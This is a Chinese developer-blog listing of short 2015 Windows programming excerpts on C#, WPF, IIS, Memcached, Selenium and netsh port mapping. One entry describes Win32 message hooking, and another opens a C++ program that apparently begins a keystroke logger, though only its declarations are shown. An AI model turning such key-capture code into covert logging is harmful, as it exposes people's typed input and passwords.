在对这个问题展开讨论之前,我们不妨先来问这么几个问题,以系统的了解我们今天要探究的主题。观者也许曾无数次的使用过诸如System.Console类或.NET类库中那些品种繁多的类。那么,我想问的是它们究竟源自何处?C#又是如何联系它们?有没有支持我们个性化扩展的机制或类型系统?又有哪些类型系统可供我...
分类:
Windows开发 时间:
2015-01-21 17:51:26
收藏:
0 评论:
0 赞:
0 阅读:
310
C#采用命名空间(namespace)来组织程序。命名空间可以嵌套。using指示符可以用来简化命名空间类型的引用。using指示符有两种用法。"using System;"语句可以使我们用简短的类型名"Console"来代替类型"System.Console"。"using Output = Sy...
分类:
Windows开发 时间:
2015-01-21 17:50:37
收藏:
0 评论:
0 赞:
0 阅读:
330
一、编写第一个C#程序——Hello World1. 启动Microsoft Visual Studio 2010。2. 点击“文件”菜单,选择“新建”项,在弹出的子菜单中选择“项目”命令。3. 弹出“新建项目”对话框。4. 在“最近的模板”下面点击“Visual C#”项,在中间的“模板”窗口中选...
分类:
Windows开发 时间:
2015-01-21 16:30:18
收藏:
0 评论:
0 赞:
0 阅读:
337
在上一篇文章实现一个简单的语音聊天室(多人语音聊天系统)中,我用C#实现了一个简单的语音聊天室,并给出了源代码下载。尽管有源代码,可是非常多朋友反映,理解起来还是有些模糊、不够清楚。如今想来,是由于我忘了先将底层的原理介绍一下,语音聊天室是基于OMCS实现的,那么这里我就补上OMCS中与多人语音视频...
分类:
Windows开发 时间:
2015-01-21 16:30:08
收藏:
0 评论:
0 赞:
0 阅读:
857
WPF学习之深入浅出话命令WPF为我们准备了完善的命令系统,你可能会问:“有了路由事件为什么还需要命令系统呢?”。事件的作用是发布、传播一些消息,消息传达到了接收者,事件的指令也就算完成了,至于如何响应事件送来的消息事件并不做任何限制,每个接收者可已用自己的行为来响应事件。也就是说,事件不具有约束力...
分类:
Windows开发 时间:
2015-01-21 16:29:08
收藏:
0 评论:
0 赞:
0 阅读:
575
正如绑定TextBox控件的Text属性一样, 我们希望能够将PasswordBox空间的Password属性进行绑定, 比如在MVVM模式中,这似乎是必须的, 但可惜的是, Password属性是不支持绑定的(不是依赖属性, 也没有实现INotifyPropertyChanged).这可能是出.....
分类:
Windows开发 时间:
2015-01-21 16:27:58
收藏:
0 评论:
0 赞:
0 阅读:
209
Win32程序对不同类型Message的处理过程不一样,对于Post过来的Message(通过PostMessage发送),会由GetMessage来处理,对于Send过来的Message(通过SendMessage发送),则由CallWndProc来处理,并在处理完成后执行CallWndRetProc,所以要HOOK并区分这两种Message需要同时处理三个HOOK:WH_GETMESSAGE、WH_CALLWNDPROC和WH_CALLWNDPROCRET。
所以:
1、'P': 通过WH_GETM...
分类:
Windows开发 时间:
2015-01-21 15:20:38
收藏:
0 评论:
0 赞:
1 阅读:
991
#include
#include
#include
#include
#include
#include
#include
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();
int main()
{
string FileName ...
分类:
Windows开发 时间:
2015-01-21 15:19:58
收藏:
0 评论:
0 赞:
0 阅读:
374
问题提出:
窗口创建时候实现直接隐藏,可是使用函数ShowWindow(SW_HIDE)窗口要闪烁一下;
查看解决办法:
论坛里看到很久之前的一个讨论,很受启发;具体可以参考链接地址:http://bbs.csdn.net/topics/10407927
解决办法:
m_***.Crea...
分类:
Windows开发 时间:
2015-01-21 15:14:38
收藏:
0 评论:
0 赞:
0 阅读:
1057
HTTP 错误 500.21 - Internal Server Error 解决方案Windows7安装了VS2010 开发平台之后,将网站发布到IIS,访问发生如下错误:HTTP 错误 500.21 - Internal Server Error处理程序“NickLeeCallbackHandl...
分类:
Windows开发 时间:
2015-01-21 14:54:58
收藏:
0 评论:
0 赞:
0 阅读:
299
Demo for prism & EF
分类:
Windows开发 时间:
2015-01-21 14:52:18
收藏:
0 评论:
0 赞:
0 阅读:
291
在网上搜索wpf合并单元格,一直没搜索到,没办法,只能自己想办法搞定了。其实就是DataGrid套DataGrid,为了方便支持Column拖动,在合并的DataGridColumn那一列的Header也放一个DataGrid,但是合并的这一个连续列中只支持一列的拖动,效果如下,上图代码如下首先定义...
分类:
Windows开发 时间:
2015-01-21 14:49:51
收藏:
0 评论:
0 赞:
0 阅读:
446
http://www.jayway.com/2014/04/08/windows-phone-8-1-for-developerswhat-controls-are-new-2/What controls are removed between version 8.0 to 8.1First we ...
分类:
Windows开发 时间:
2015-01-21 14:48:18
收藏:
0 评论:
0 赞:
0 阅读:
302
写在前面:安装的是Memcached, 配置成功的是Memcache,主要原因是缺少windows下的php_memcached.dll拓展文件,安装和配置方法相同。详细查看:http://memcached.org/一、准备软件Memcached软件下载:http://pan.baidu.com/...
分类:
Windows开发 时间:
2015-01-21 14:46:48
收藏:
0 评论:
0 赞:
0 阅读:
326
1.1下载selenium2.0的包官方download包地址:http://code.google.com/p/selenium/downloads/list官方User Guide: http://seleniumhq.org/docs/官方API: http://selenium...
分类:
Windows开发 时间:
2015-01-21 14:45:58
收藏:
0 评论:
0 赞:
0 阅读:
293
如果有win8安装盘:cmd执行:Dism /online /enable-feature /featurename:NetFx3 /All /Source:i:\sources\sxs /LimitAccess其中/Source:i:\sources\sxs为win8盘中.netframework...
分类:
Windows开发 时间:
2015-01-21 14:43:48
收藏:
0 评论:
0 赞:
0 阅读:
347
1.端口映射,把宿主机的端口映射到hyper-v创建的虚拟机上 访问宿主机的公网IP的某个端口,就等于访问这个虚拟机上的端口 具体实现:在宿主机上命令行输入添加一个端口映射netsh interface portproxy add v4tov4 listenport=宿主机端口 listenad.....
分类:
Windows开发 时间:
2015-01-21 14:40:08
收藏:
0 评论:
0 赞:
0 阅读:
316
测试代码:
Duration:
currentTime:
var element_d = document.getElementById("d");
var element_c = document.getElementById("c");
var A = new Audio("test.mp3");
A.loop=true;
A.ondurationchange=function(){...
分类:
Windows开发 时间:
2015-01-21 11:40:03
收藏:
0 评论:
0 赞:
0 阅读:
398
为Dotnet控件添加旋转动画触发。最大的难点在于确定动画的target property。...
分类:
Windows开发 时间:
2015-01-21 11:36:19
收藏:
0 评论:
0 赞:
0 阅读:
347
目前比较简单的做法就是通过openfire的插件User Service,我们用C#http请求来获取用户列表,返回的是一个xml文件。
插件地址:http://www.igniterealtime.org/projects/openfire/plugins.jsp
安装插件有两种方式:
1.直接到官网下载userservice.jar文件,然后通过管理控制平台上传插件。
2.直接在管理控制平台安装此插件,在插件选项卡里有个“有效的插件”菜单,里边有很多插件。...
分类:
Windows开发 时间:
2015-01-21 11:32:58
收藏:
0 评论:
0 赞:
0 阅读:
411